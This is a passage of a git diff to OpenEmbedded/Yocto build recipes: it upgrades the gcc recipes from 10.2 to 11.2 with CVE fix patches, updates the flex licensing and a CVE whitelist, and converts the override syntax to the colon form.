diff --git a/meta/recipes-devtools/flex/flex_2.6.4.bb b/meta/recipes-devtools/flex/flex_2.6.4.bb
index 3d57572865..6a47ef1bd8 100644
--- a/meta/recipes-devtools/flex/flex_2.6.4.bb
+++ b/meta/recipes-devtools/flex/flex_2.6.4.bb
@@ -3,12 +3,14 @@ DESCRIPTION = "Flex is a fast lexical analyser generator. Flex is a tool for ge
lexical patterns in text."
HOMEPAGE = "http://sourceforge.net/projects/flex/"
SECTION = "devel"
-LICENSE = "BSD-2-Clause"
+LICENSE = "BSD-3-Clause & LGPL-2.0+"
+LICENSE:${PN}-libfl = "BSD-3-Clause"
DEPENDS = "${@bb.utils.contains('PTEST_ENABLED', '1', 'bison-native flex-native', '', d)}"
BBCLASSEXTEND = "native nativesdk"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e4742cf92e89040b39486a6219b68067"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e4742cf92e89040b39486a6219b68067 \
+ file://src/gettext.h;beginline=1;endline=17;md5=9c05dda2f58d89b850c399cf22e1a00c"
SRC_URI = "https://github.com/westes/flex/releases/download/v${PV}/flex-${PV}.tar.gz \
file://run-ptest \
@@ -16,6 +18,7 @@ SRC_URI = "https://github.com/westes/flex/releases/download/v${PV}/flex-${PV}.ta
${@bb.utils.contains('PTEST_ENABLED', '1', '', 'file://disable-tests.patch', d)} \
file://0001-build-AC_USE_SYSTEM_EXTENSIONS-in-configure.ac.patch \
file://check-funcs.patch \
+ file://0001-Emit-no-line-directives-if-gen_line_dirs-is-false.patch \
"
SRC_URI[md5sum] = "2882e3179748cc9f9c23ec593d6adc8d"
@@ -25,29 +28,34 @@ SRC_URI[sha256sum] = "e87aae032bf07c26f85ac0ed3250998c37621d95f8bd748b31f15b33c4
UPSTREAM_CHECK_URI = "https://github.com/westes/flex/releases"
UPSTREAM_CHECK_REGEX = "flex-(?P<pver>\d+(\.\d+)+)\.tar"
+# Disputed - yes there is stack exhaustion but no bug and it is building the
+# parser, not running it, effectively similar to a compiler ICE. Upstream no plans to address
+# https://github.com/westes/flex/issues/414
+CVE_CHECK_WHITELIST += "CVE-2019-6293"
+
inherit autotools gettext texinfo ptest
M4 = "${bindir}/m4"
-M4_class-native = "${STAGING_BINDIR_NATIVE}/m4"
+M4:class-native = "${STAGING_BINDIR_NATIVE}/m4"
EXTRA_OECONF += "ac_cv_path_M4=${M4} ac_cv_func_reallocarray=no"
EXTRA_OEMAKE += "m4=${STAGING_BINDIR_NATIVE}/m4"
EXTRA_OEMAKE += "${@bb.utils.contains('PTEST_ENABLED', '1', 'FLEX=${STAGING_BINDIR_NATIVE}/flex', '', d)}"
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}/${bindir}/flex M4=${M4}
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
create_wrapper ${D}/${bindir}/flex M4=${M4}
}
PACKAGES =+ "${PN}-libfl"
-FILES_${PN}-libfl = "${libdir}/libfl.so.* ${libdir}/libfl_pic.so.*"
+FILES:${PN}-libfl = "${libdir}/libfl.so.* ${libdir}/libfl_pic.so.*"
-RDEPENDS_${PN} += "m4"
-RDEPENDS_${PN}-ptest += "bash gawk make"
+RDEPENDS:${PN} += "m4"
+RDEPENDS:${PN}-ptest += "bash gawk make"
do_compile_ptest() {
oe_runmake -C ${B}/tests -f ${B}/tests/Makefile top_builddir=${B} INCLUDES=-I${S}/src buildtests
diff --git a/meta/recipes-devtools/gcc/gcc-10.2.inc b/meta/recipes-devtools/gcc/gcc-10.2.inc
deleted file mode 100644
index e88f2ade6d..0000000000
--- a/meta/recipes-devtools/gcc/gcc-10.2.inc
+++ /dev/null
@@ -1,119 +0,0 @@
-require gcc-common.inc
-
-# Third digit in PV should be incremented after a minor release
-
-PV = "10.2.0"
-
-# BINV should be incremented to a revision after a minor gcc release
-
-BINV = "10.2.0"
-
-FILESEXTRAPATHS =. "${FILE_DIRNAME}/gcc:${FILE_DIRNAME}/gcc/backport:"
-
-DEPENDS =+ "mpfr gmp libmpc zlib flex-native"
-NATIVEDEPS = "mpfr-native gmp-native libmpc-native zlib-native flex-native"
-
-LICENSE = "GPL-3.0-with-GCC-exception & GPLv3"
-
-LIC_FILES_CHKSUM = "\
- file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://COPYING.RUNTIME;md5=fe60d87048567d4fe8c8a0ed2448bcc8 \
-"
-
-BASEURI ?= "${GNU_MIRROR}/gcc/gcc-${PV}/gcc-${PV}.tar.xz"
-#RELEASE ?= "93a49d2d2292893b9b7f38132df949c70942838c"
-#BASEURI ?= "https://github.com/gcc-mirror/gcc/archive/${RELEASE}.zip;downloadfilename=gcc-${PV}-${RELEASE}.zip"
-SRC_URI = "\
- ${BASEURI} \
- file://0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch \
- file://0002-gcc-poison-system-directories.patch \
- file://0003-gcc-4.3.3-SYSROOT_CFLAGS_FOR_TARGET.patch \
- file://0004-64-bit-multilib-hack.patch \
- file://0005-optional-libstdc.patch \
- file://0006-COLLECT_GCC_OPTIONS.patch \
- file://0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch \
- file://0008-fortran-cross-compile-hack.patch \
- file://0009-cpp-honor-sysroot.patch \
- file://0010-MIPS64-Default-to-N64-ABI.patch \
- file://0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch \
- file://0012-gcc-Fix-argument-list-too-long-error.patch \
- file://0013-Disable-sdt.patch \
- file://0014-libtool.patch \
- file://0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch \
- file://0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch \
- file://0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch \
- file://0018-export-CPP.patch \
- file://0019-Ensure-target-gcc-headers-can-be-included.patch \
- file://0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch \
- file://0021-Use-SYSTEMLIBS_DIR-replacement-instead-of-hardcoding.patch \
- file://0022-aarch64-Add-support-for-musl-ldso.patch \
- file://0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch \
- file://0024-handle-sysroot-support-for-nativesdk-gcc.patch \
- file://0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch \
- file://0026-Fix-various-_FOR_BUILD-and-related-variables.patch \
- file://0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch \
- file://0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch \
- file://0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch \
- file://0030-sync-gcc-stddef.h-with-musl.patch \
- file://0031-fix-segmentation-fault-in-precompiled-header-generat.patch \
- file://0032-Fix-for-testsuite-failure.patch \
- file://0033-Re-introduce-spe-commandline-options.patch \
- file://0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch \
- file://0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch \
- file://0036-mingw32-Enable-operation_not_supported.patch \
- file://0037-libatomic-Do-not-enforce-march-on-aarch64.patch \
- file://0001-aarch64-New-Straight-Line-Speculation-SLS-mitigation.patch \
- file://0002-aarch64-Introduce-SLS-mitigation-for-RET-and-BR-inst.patch \
- file://0003-aarch64-Mitigate-SLS-for-BLR-instruction.patch \
- file://0001-aarch64-Fix-up-__aarch64_cas16_acq_rel-fallback.patch \
-"
-SRC_URI[sha256sum] = "b8dd4368bb9c7f0b98188317ee0254dd8cc99d1e3a18d0ff146c855fe16c1d8c"
-
-S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${PV}"
-# For dev release snapshotting
-#S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${RELEASE}"
-#B = "${WORKDIR}/gcc-${PV}/build.${HOST_SYS}.${TARGET_SYS}"
-
-# Language Overrides
-FORTRAN = ""
-JAVA = ""
-
-SSP ?= "--disable-libssp"
-SSP_mingw32 = "--enable-libssp"
-
-EXTRA_OECONF_BASE = "\
- ${SSP} \
- --enable-libitm \
- --enable-lto \
- --disable-bootstrap \
- --with-system-zlib \
- ${@'--with-linker-hash-style=${LINKER_HASH_STYLE}' if '${LINKER_HASH_STYLE}' else ''} \
- --enable-linker-build-id \
- --with-ppl=no \
- --with-cloog=no \
- --enable-checking=release \
- --enable-cheaders=c_global \
- --without-isl \
-"
-
-EXTRA_OECONF_INITIAL = "\
- --disable-libgomp \
- --disable-libitm \
- --disable-libquadmath \
- --with-system-zlib \
- --disable-lto \
- --disable-plugin \
- --enable-linker-build-id \
- --enable-decimal-float=no \
- --without-isl \
- --disable-libssp \
-"
-
-EXTRA_OECONF_PATHS = "\
- --with-gxx-include-dir=/not/exist{target_includedir}/c++/${BINV} \
- --with-sysroot=/not/exist \
- --with-build-sysroot=${STAGING_DIR_TARGET} \
-"
diff --git a/meta/recipes-devtools/gcc/gcc-11.2.inc b/meta/recipes-devtools/gcc/gcc-11.2.inc
new file mode 100644
index 0000000000..e352c958de
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc-11.2.inc
@@ -0,0 +1,121 @@
+require gcc-common.inc
+
+# Third digit in PV should be incremented after a minor release
+
+PV = "11.2.0"
+
+# BINV should be incremented to a revision after a minor gcc release
+
+BINV = "11.2.0"
+
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/gcc:${FILE_DIRNAME}/gcc/backport:"
+
+DEPENDS =+ "mpfr gmp libmpc zlib flex-native"
+NATIVEDEPS = "mpfr-native gmp-native libmpc-native zlib-native flex-native"
+
+LICENSE = "GPL-3.0-with-GCC-exception & GPLv3"
+
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://COPYING.RUNTIME;md5=fe60d87048567d4fe8c8a0ed2448bcc8 \
+"
+
+#RELEASE ?= "5b2ac9b40c325e9209c0bd55955db84aad4a0cc5"
+#BASEURI ?= "https://github.com/gcc-mirror/gcc/archive/${RELEASE}.zip;downloadfilename=gcc-${PV}-${RELEASE}.zip"
+
+BASEURI ?= "${GNU_MIRROR}/gcc/gcc-${PV}/gcc-${PV}.tar.xz \
+ "
+SRC_URI = "\
+ ${BASEURI} \
+ file://0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch \
+ file://0002-gcc-poison-system-directories.patch \
+ file://0004-64-bit-multilib-hack.patch \
+ file://0005-optional-libstdc.patch \
+ file://0007-Use-the-defaults.h-in-B-instead-of-S-and-t-oe-in-B.patch \
+ file://0009-cpp-honor-sysroot.patch \
+ file://0011-Define-GLIBC_DYNAMIC_LINKER-and-UCLIBC_DYNAMIC_LINKE.patch \
+ file://0012-gcc-Fix-argument-list-too-long-error.patch \
+ file://0014-libtool.patch \
+ file://0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch \
+ file://0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch \
+ file://0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch \
+ file://0018-export-CPP.patch \
+ file://0019-Ensure-target-gcc-headers-can-be-included.patch \
+ file://0020-Don-t-search-host-directory-during-relink-if-inst_pr.patch \
+ file://0023-libcc1-fix-libcc1-s-install-path-and-rpath.patch \
+ file://0024-handle-sysroot-support-for-nativesdk-gcc.patch \
+ file://0025-Search-target-sysroot-gcc-version-specific-dirs-with.patch \
+ file://0027-nios2-Define-MUSL_DYNAMIC_LINKER.patch \
+ file://0028-Add-ssp_nonshared-to-link-commandline-for-musl-targe.patch \
+ file://0029-Link-libgcc-using-LDFLAGS-not-just-SHLIB_LDFLAGS.patch \
+ file://0030-sync-gcc-stddef.h-with-musl.patch \
+ file://0033-Re-introduce-spe-commandline-options.patch \
+ file://0034-libgcc_s-Use-alias-for-__cpu_indicator_init-instead-.patch \
+ file://0035-gentypes-genmodes-Do-not-use-__LINE__-for-maintainin.patch \
+ file://0036-mingw32-Enable-operation_not_supported.patch \
+ file://0037-libatomic-Do-not-enforce-march-on-aarch64.patch \
+ file://0041-apply-debug-prefix-maps-before-checksumming-DIEs.patch \
+ file://0006-If-CXXFLAGS-contains-something-unsupported-by-the-bu.patch \
+ file://0001-CVE-2021-35465.patch \
+ file://0002-CVE-2021-35465.patch \
+ file://0003-CVE-2021-35465.patch \
+ file://0004-CVE-2021-35465.patch \
+ file://0001-CVE-2021-42574.patch \
+ file://0002-CVE-2021-42574.patch \
+ file://0003-CVE-2021-42574.patch \
+ file://0004-CVE-2021-42574.patch \
+"
+SRC_URI[sha256sum] = "d08edc536b54c372a1010ff6619dd274c0f1603aa49212ba20f7aa2cda36fa8b"
+
+S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${PV}"
+
+# For dev release snapshotting
+#S = "${TMPDIR}/work-shared/gcc-${PV}-${PR}/gcc-${RELEASE}"
+#B = "${WORKDIR}/gcc-${PV}/build.${HOST_SYS}.${TARGET_SYS}"
+
+# Language Overrides
+FORTRAN = ""
+JAVA = ""
+
+SSP ?= "--disable-libssp"
+SSP:mingw32 = "--enable-libssp"
+
+EXTRA_OECONF_BASE = "\
+ ${SSP} \
+ --enable-libitm \
+ --enable-lto \
+ --disable-bootstrap \
+ --with-system-zlib \
+ ${@'--with-linker-hash-style=${LINKER_HASH_STYLE}' if '${LINKER_HASH_STYLE}' else ''} \
+ --enable-linker-build-id \
+ --with-ppl=no \
+ --with-cloog=no \
+ --enable-checking=release \
+ --enable-cheaders=c_global \
+ --without-isl \
+"
+
+EXTRA_OECONF_INITIAL = "\
+ --disable-libgomp \
+ --disable-libitm \
+ --disable-libquadmath \
+ --with-system-zlib \
+ --disable-lto \
+ --disable-plugin \
+ --enable-linker-build-id \
+ --enable-decimal-float=no \
+ --without-isl \
+ --disable-libssp \
+"
+
+EXTRA_OECONF_PATHS = "\
+ --with-gxx-include-dir=/not/exist{target_includedir}/c++/${BINV} \
+ --with-sysroot=/not/exist \
+ --with-build-sysroot=${STAGING_DIR_TARGET} \
+"
+
+# Is a binutils 2.26 issue, not gcc
+CVE_CHECK_WHITELIST += "CVE-2021-37322"
diff --git a/meta/recipes-devtools/gcc/gcc-common.inc b/meta/recipes-devtools/gcc/gcc-common.inc
index 3dcfdf835f..0f70be7dd4 100644
--- a/meta/recipes-devtools/gcc/gcc-common.inc
+++ b/meta/recipes-devtools/gcc/gcc-common.inc
@@ -1,5 +1,6 @@
SUMMARY = "GNU cc and gcc C compilers"
HOMEPAGE = "http://www.gnu.org/software/gcc/"
+DESCRIPTION = "The GNU Compiler Collection includes front ends for C, C++, Objective-C, Fortran, Ada, Go, and D, as well as libraries for these languages (libstdc++,...). GCC was originally written as the compiler for the GNU operating system."
SECTION = "devel"
LICENSE = "GPL"
@@ -11,7 +12,7 @@ inherit autotools gettext texinfo
BPN = "gcc"
COMPILERDEP = "virtual/${MLPREFIX}${TARGET_PREFIX}gcc:do_gcc_stash_builddir"
-COMPILERDEP_class-nativesdk = "virtual/${TARGET_PREFIX}gcc-crosssdk:do_gcc_stash_builddir"
+COMPILERDEP:class-nativesdk = "virtual/${TARGET_PREFIX}gcc-crosssdk:do_gcc_stash_builddir"
python extract_stashed_builddir () {
src = d.expand("${COMPONENTS_DIR}/${BUILD_ARCH}/gcc-stashed-builddir-${TARGET_SYS}")
@@ -82,14 +83,10 @@ def get_tune_parameters(tune, d):
get_tune_parameters[vardepsexclude] = "AVAILTUNES TUNE_CCARGS OVERRIDES TUNE_FEATURES BASE_LIB BASELIB TUNE_ARCH ABIEXTENSION TARGET_FPU TUNE_PKGARCH PACKAGE_EXTRA_ARCHS"
-DEBIANNAME_${MLPREFIX}libgcc = "libgcc1"
+DEBIANNAME:${MLPREFIX}libgcc = "libgcc1"
MIRRORS =+ "\
-${GNU_MIRROR}/gcc ftp://gcc.gnu.org/pub/gcc/releases/ \n \
-${GNU_MIRROR}/gcc ftp://gd.tuwien.ac.at/gnu/gcc/ \n \
-${GNU_MIRROR}/gcc http://mirrors.rcn.net/pub/sourceware/gcc/releases/ \n \
-${GNU_MIRROR}/gcc http://gcc.get-software.com/releases/ \n \
-${GNU_MIRROR}/gcc http://gcc.get-software.com/releases/ \n \
+ ${GNU_MIRROR}/gcc https://gcc.gnu.org/pub/gcc/releases/ \
"
#
# Set some default values
diff --git a/meta/recipes-devtools/gcc/gcc-configure-common.inc b/meta/recipes-devtools/gcc/gcc-configure-common.inc
index a64c4caf00..e4cdb73f0a 100644
--- a/meta/recipes-devtools/gcc/gcc-configure-common.inc
+++ b/meta/recipes-devtools/gcc/gcc-configure-common.inc
@@ -40,31 +40,32 @@ EXTRA_OECONF = "\
${@get_gcc_mips_plt_setting(bb, d)} \
${@get_gcc_ppc_plt_settings(bb, d)} \
${@get_gcc_multiarch_setting(bb, d)} \
+ --enable-standard-branch-protection \
"
# glibc version is a minimum controlling whether features are enabled.
# Doesn't need to track glibc exactly
-EXTRA_OECONF_append_libc-glibc = " --with-glibc-version=2.28 "
+EXTRA_OECONF:append:libc-glibc = " --with-glibc-version=2.28 "
# Set this here since GCC configure won't auto-detect and enable
# initfini-arry when cross compiling.
-EXTRA_OECONF_append = " --enable-initfini-array"
+EXTRA_OECONF:append = " --enable-initfini-array"
export gcc_cv_collect2_libs = 'none required'
# We need to set gcc_cv_collect2_libs else there is cross-compilation badness
# in the config.log files (which might not get generated until do_compile
# hence being missed by the insane do_configure check).
-EXTRA_OECONF_append_linux = " --enable-__cxa_atexit"
+EXTRA_OECONF:append:linux = " --enable-__cxa_atexit"
-EXTRA_OECONF_append_mips64 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mips64el = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mips64n32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mips64eln32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mipsisa32r6el = " --with-abi=32 --with-arch=mips32r6"
-EXTRA_OECONF_append_mipsisa32r6 = " --with-abi=32 --with-arch=mips32r6"
-EXTRA_OECONF_append_mipsisa64r6el = " --with-abi=64 --with-arch-64=mips64r6"
-EXTRA_OECONF_append_mipsisa64r6 = " --with-abi=64 --with-arch-64=mips64r6"
+EXTRA_OECONF:append:mips64 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mips64el = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mips64n32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mips64eln32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mipsisa32r6el = " --with-abi=32 --with-arch=mips32r6"
+EXTRA_OECONF:append:mipsisa32r6 = " --with-abi=32 --with-arch=mips32r6"
+EXTRA_OECONF:append:mipsisa64r6el = " --with-abi=64 --with-arch-64=mips64r6"
+EXTRA_OECONF:append:mipsisa64r6 = " --with-abi=64 --with-arch-64=mips64r6"
EXTRA_OECONF_GCC_FLOAT ??= ""
CPPFLAGS = ""
@@ -73,7 +74,7 @@ SYSTEMHEADERS = "${target_includedir}"
SYSTEMLIBS = "${target_base_libdir}/"
SYSTEMLIBS1 = "${target_libdir}/"
-do_configure_prepend () {
+do_configure:prepend () {
# teach gcc to find correct target includedir when checking libc ssp support
mkdir -p ${B}/gcc
echo "NATIVE_SYSTEM_HEADER_DIR = ${SYSTEMHEADERS}" > ${B}/gcc/t-oe
diff --git a/meta/recipes-devtools/gcc/gcc-cross-canadian.inc b/meta/recipes-devtools/gcc/gcc-cross-canadian.inc
index d3875c94d3..495dd9070b 100644
--- a/meta/recipes-devtools/gcc/gcc-cross-canadian.inc
+++ b/meta/recipes-devtools/gcc/gcc-cross-canadian.inc
@@ -65,7 +65,7 @@ do_compile () {
PACKAGES = "${PN}-dbg ${PN} ${PN}-doc"
-FILES_${PN} = "\
+FILES:${PN} = "\
${exec_prefix}/bin/* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/* \
${gcclibdir}/${TARGET_SYS}/${BINV}/*.o \
@@ -75,14 +75,15 @@ FILES_${PN} = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/include-fixed \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/include/ \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/gtype.* \
+ ${libdir}/bfd-plugins/*.so \
${includedir}/c++/${BINV} \
${prefix}/${TARGET_SYS}/bin/* \
${prefix}/${TARGET_SYS}/lib/* \
${prefix}/${TARGET_SYS}${target_includedir}/* \
"
-INSANE_SKIP_${PN} += "dev-so"
+INSANE_SKIP:${PN} += "dev-so"
-FILES_${PN}-doc = "\
+FILES:${PN}-doc = "\
${infodir} \
${mandir} \
${gcclibdir}/${TARGET_SYS}/${BINV}/include/README \
@@ -92,6 +93,8 @@ EXEEXT = ""
# Compute how to get from libexecdir to bindir in python (easier than shell)
BINRELPATH = "${@os.path.relpath(d.expand("${bindir}"), d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"))}"
+# linker plugin path
+LIBRELPATH = "${@os.path.relpath(d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"), d.expand("${libdir}/bfd-plugins"))}"
do_install () {
( cd ${B}/${TARGET_SYS}/libgcc; oe_runmake 'DESTDIR=${D}' install-unwind_h-forbuild install-unwind_h )
@@ -121,7 +124,7 @@ do_install () {
dest=${D}${libexecdir}/gcc/${TARGET_SYS}/${BINV}/
install -d $dest
suffix=${EXEEXT}
- for t in ar as ld nm objcopy objdump ranlib strip g77 gcc cpp gfortran; do
+ for t in ar as ld ld.bfd ld.gold nm objcopy objdump ranlib strip g77 gcc cpp gfortran; do
if [ "$t" = "g77" -o "$t" = "gfortran" ] && [ ! -e ${D}${bindir}/${TARGET_PREFIX}$t$suffix ]; then
continue
fi
@@ -136,8 +139,12 @@ do_install () {
cp ${S}/libquadmath/quadmath.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
cp ${S}/libquadmath/quadmath_weak.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
+ # install LTO linker plugins where binutils tools can find it
+ install -d ${D}${libdir}/bfd-plugins
+ ln -sf ${LIBRELPATH}/liblto_plugin.so ${D}${libdir}/bfd-plugins/liblto_plugin.so
+
chown -R root:root ${D}
-
+
cross_canadian_bindirlinks
for i in linux ${CANADIANEXTRAOS}
@@ -166,16 +173,16 @@ do_install () {
ELFUTILS = "nativesdk-elfutils"
DEPENDS += "nativesdk-gmp nativesdk-mpfr nativesdk-libmpc ${ELFUTILS} nativesdk-zlib"
-RDEPENDS_${PN} += "nativesdk-mpfr nativesdk-libmpc ${ELFUTILS}"
+RDEPENDS:${PN} += "nativesdk-mpfr nativesdk-libmpc ${ELFUTILS}"
SYSTEMHEADERS = "${target_includedir}/"
SYSTEMLIBS = "${target_base_libdir}/"
SYSTEMLIBS1 = "${target_libdir}/"
EXTRA_OECONF += "--enable-poison-system-directories"
-EXTRA_OECONF_remove_elf = "--with-sysroot=/not/exist"
-EXTRA_OECONF_remove_eabi = "--with-sysroot=/not/exist"
-EXTRA_OECONF_append_elf = " --without-headers --with-newlib"
-EXTRA_OECONF_append_eabi = " --without-headers --with-newlib"
+EXTRA_OECONF:remove:elf = "--with-sysroot=/not/exist"
+EXTRA_OECONF:remove:eabi = "--with-sysroot=/not/exist"
+EXTRA_OECONF:append:elf = " --without-headers --with-newlib"
+EXTRA_OECONF:append:eabi = " --without-headers --with-newlib"
# gcc 4.7 needs -isystem
export ARCH_FLAGS_FOR_TARGET = "--sysroot=${STAGING_DIR_TARGET} -isystem=${target_includedir}"
diff --git a/meta/recipes-devtools/gcc/gcc-cross-canadian_10.2.bb b/meta/recipes-devtools/gcc/gcc-cross-canadian_11.2.bb
index bf53c5cd78..bf53c5cd78 100644
--- a/meta/recipes-devtools/gcc/gcc-cross-canadian_10.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-cross-canadian_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-cross.inc b/meta/recipes-devtools/gcc/gcc-cross.inc
index 6fa8c274cd..3ffa1f0c46 100644
--- a/meta/recipes-devtools/gcc/gcc-cross.inc
+++ b/meta/recipes-devtools/gcc/gcc-cross.inc
@@ -21,8 +21,8 @@ require gcc-configure-common.inc
# gnu) will hit a QA failure.
LINKER_HASH_STYLE ?= "sysv"
-EXTRA_OECONF += "--enable-poison-system-directories"
-EXTRA_OECONF_append_sh4 = " \
+EXTRA_OECONF += "--enable-poison-system-directories=error"
+EXTRA_OECONF:append:sh4 = " \
--with-multilib-list= \
--enable-incomplete-targets \
"
@@ -31,9 +31,9 @@ EXTRA_OECONF += "\
--with-system-zlib \
"
-EXTRA_OECONF_append_libc-baremetal = " --without-headers"
-EXTRA_OECONF_remove_libc-baremetal = "--enable-threads=posix"
-EXTRA_OECONF_remove_libc-newlib = "--enable-threads=posix"
+EXTRA_OECONF:append:libc-baremetal = " --without-headers"
+EXTRA_OECONF:remove:libc-baremetal = "--enable-threads=posix"
+EXTRA_OECONF:remove:libc-newlib = "--enable-threads=posix"
EXTRA_OECONF_PATHS = "\
--with-gxx-include-dir=/not/exist${target_includedir}/c++/${BINV} \
@@ -44,7 +44,7 @@ EXTRA_OECONF_PATHS = "\
ARCH_FLAGS_FOR_TARGET += "-isystem${STAGING_DIR_TARGET}${target_includedir}"
-do_configure_prepend () {
+do_configure:prepend () {
install -d ${RECIPE_SYSROOT}${target_includedir}
touch ${RECIPE_SYSROOT}${target_includedir}/limits.h
}
@@ -83,6 +83,8 @@ INHIBIT_PACKAGE_STRIP = "1"
# Compute how to get from libexecdir to bindir in python (easier than shell)
BINRELPATH = "${@os.path.relpath(d.expand("${STAGING_DIR_NATIVE}${prefix_native}/bin/${TARGET_SYS}"), d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"))}"
+# linker plugin path
+LIBRELPATH = "${@os.path.relpath(d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"), d.expand("${STAGING_LIBDIR_NATIVE}/${TARGET_SYS}/bfd-plugins"))}"
do_install () {
( cd ${B}/${TARGET_SYS}/libgcc; oe_runmake 'DESTDIR=${D}' install-unwind_h-forbuild install-unwind_h )
@@ -92,7 +94,7 @@ do_install () {
install -d ${D}${target_libdir}
# Link gfortran to g77 to satisfy not-so-smart configure or hard coded g77
- # gfortran is fully backwards compatible. This is a safe and practical solution.
+ # gfortran is fully backwards compatible. This is a safe and practical solution.
if [ -n "${@d.getVar('FORTRAN')}" ]; then
ln -sf ${STAGING_DIR_NATIVE}${prefix_native}/bin/${TARGET_PREFIX}gfortran ${STAGING_DIR_NATIVE}${prefix_native}/bin/${TARGET_PREFIX}g77 || true
fortsymlinks="g77 gfortran"
@@ -118,6 +120,10 @@ do_install () {
cp ${S}/libquadmath/quadmath_weak.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
find ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include-fixed -type f -not -name "README" -not -name limits.h -not -name syslimits.h | xargs rm -f
+
+ # install LTO linker plugins where binutils tools can find it
+ install -d ${D}${libdir}/bfd-plugins
+ ln -sf ${LIBRELPATH}/liblto_plugin.so ${D}${libdir}/bfd-plugins/liblto_plugin.so
}
do_package[noexec] = "1"
diff --git a/meta/recipes-devtools/gcc/gcc-cross_10.2.bb b/meta/recipes-devtools/gcc/gcc-cross_11.2.bb
index b43cca0c52..b43cca0c52 100644
--- a/meta/recipes-devtools/gcc/gcc-cross_10.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-cross_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-crosssdk_10.2.bb b/meta/recipes-devtools/gcc/gcc-crosssdk_11.2.bb
index 40a6c4feff..40a6c4feff 100644
--- a/meta/recipes-devtools/gcc/gcc-crosssdk_10.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-crosssdk_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-multilib-config.inc b/meta/recipes-devtools/gcc/gcc-multilib-config.inc
index 31b8619be3..26bfed9507 100644
--- a/meta/recipes-devtools/gcc/gcc-multilib-config.inc
+++ b/meta/recipes-devtools/gcc/gcc-multilib-config.inc
@@ -31,7 +31,9 @@ python gcc_multilib_setup() {
'%s/*/linux64.h' % src_conf_dir,
'%s/aarch64/t-aarch64' % src_conf_dir,
'%s/aarch64/aarch64.h' % src_conf_dir,
+ '%s/aarch64/aarch64-linux.h' % src_conf_dir,
'%s/aarch64/aarch64-cores.def' % src_conf_dir,
+ '%s/arm/linux-eabi.h' % src_conf_dir,
'%s/*/linux.h' % src_conf_dir,
'%s/linux.h' % src_conf_dir)
@@ -102,6 +104,8 @@ python gcc_multilib_setup() {
r'\1' + wrap_libdir(libdir64) + r'\3'),
(r'^(#define\s*GLIBC_DYNAMIC_LINKER64\s*\"\S+\"\s*)(\S+)(\s*\"\S+\"\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdir64) + r'\3' + wrap_libdir(libdir64) + r'\5'),
+ (r'^(#define\s*GLIBC_DYNAMIC_LINKER\b\s*)(\S+)(\s*\".*\")$',
